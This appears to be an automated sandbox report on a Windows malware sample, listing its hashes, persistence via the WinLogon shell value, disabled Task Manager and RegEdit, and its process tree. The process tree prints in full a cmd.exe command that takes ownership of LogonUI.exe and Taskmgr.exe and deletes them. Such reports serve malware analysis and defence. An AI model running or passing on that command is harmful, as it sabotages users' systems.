Analysis
-
max time kernel
151s -
max time network
10s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
24-12-2020 04:02
Static task
static1
Behavioral task
behavioral1
Sample
ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
General
-
Target
ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe
-
Size
135KB
-
MD5
4777ca8e3e3ded9a9598c942043a3b30
-
SHA1
955de87f9bd9382141b9ffbf9c3e84731cc5d132
-
SHA256
ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55
-
SHA512
c271a58918de797e11a9b6f5e97a7cfcfc1fd8913236c8f864ea96fb229321f59b3f8119a0803ecb0394d6709c434475f63a5cc4dbfba79d24d4efad2881ccfd
Score
10/10
Malware Config
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
Processes:
ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "empty" ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe -
Disables RegEdit via registry modification
-
Disables Task Manager via registry modification
-
Possible privilege escalation attempt 4 IoCs
Processes:
icacls.exetakeown.exeicacls.exetakeown.exepid process 1912 icacls.exe 1780 takeown.exe 1708 icacls.exe 1924 takeown.exe -
Modifies file permissions 1 TTPs 4 IoCs
Processes:
icacls.exetakeown.exeicacls.exetakeown.exepid process 1708 icacls.exe 1924 takeown.exe 1912 icacls.exe 1780 takeown.exe -
Drops file in System32 directory 1 IoCs
Processes:
ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exedescription ioc process File created C:\Windows\System32\LogonUI.exe ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe -
Drops file in Windows directory 1 IoCs
Processes:
ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exedescription ioc process File created C:\Windows\System32LogonUI.exe ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe -
Suspicious behavior: EnumeratesProcesses 977 IoCs
Processes:
ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exepid process 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exetakeown.exetakeown.exedescription pid process Token: SeDebugPrivilege 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe Token: SeDebugPrivilege 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe Token: SeTakeOwnershipPrivilege 1924 takeown.exe Token: SeTakeOwnershipPrivilege 1780 takeown.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.execmd.exedescription pid process target process PID 1580 wrote to memory of 1424 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe cmd.exe PID 1580 wrote to memory of 1424 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe cmd.exe PID 1580 wrote to memory of 1424 1580 ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe cmd.exe PID 1424 wrote to memory of 1924 1424 cmd.exe takeown.exe PID 1424 wrote to memory of 1924 1424 cmd.exe takeown.exe PID 1424 wrote to memory of 1924 1424 cmd.exe takeown.exe PID 1424 wrote to memory of 1912 1424 cmd.exe icacls.exe PID 1424 wrote to memory of 1912 1424 cmd.exe icacls.exe PID 1424 wrote to memory of 1912 1424 cmd.exe icacls.exe PID 1424 wrote to memory of 1780 1424 cmd.exe takeown.exe PID 1424 wrote to memory of 1780 1424 cmd.exe takeown.exe PID 1424 wrote to memory of 1780 1424 cmd.exe takeown.exe PID 1424 wrote to memory of 1708 1424 cmd.exe icacls.exe PID 1424 wrote to memory of 1708 1424 cmd.exe icacls.exe PID 1424 wrote to memory of 1708 1424 cmd.exe icacls.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe"C:\Users\Admin\AppData\Local\Temp\ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe"1⤵
- Modifies WinLogon for persistence
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k color 47 && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && copy C:\Windows\System32\LogonUI.exe %temp%\LogonUI.exe && del C:\Windows\System32\LogonUI.exe && takeown /f C:\Windows\System32\Taskmgr.exe && icacls C:\Windows\System32\Taskmgr.exe /grant %username%:F && del C:\Windows\System32\Taskmgr.exe && exit2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\LogonUI.exe3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\LogonUI.exe /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\Taskmgr.exe3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\Taskmgr.exe /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1424-5-0x0000000000000000-mapping.dmp
-
memory/1580-2-0x000007FEF5D90000-0x000007FEF677C000-memory.dmpFilesize
9.9MB
-
memory/1580-3-0x0000000000D30000-0x0000000000D31000-memory.dmpFilesize
4KB
-
memory/1708-9-0x0000000000000000-mapping.dmp
-
memory/1780-8-0x0000000000000000-mapping.dmp
-
memory/1912-7-0x0000000000000000-mapping.dmp
-
memory/1924-6-0x0000000000000000-mapping.dmp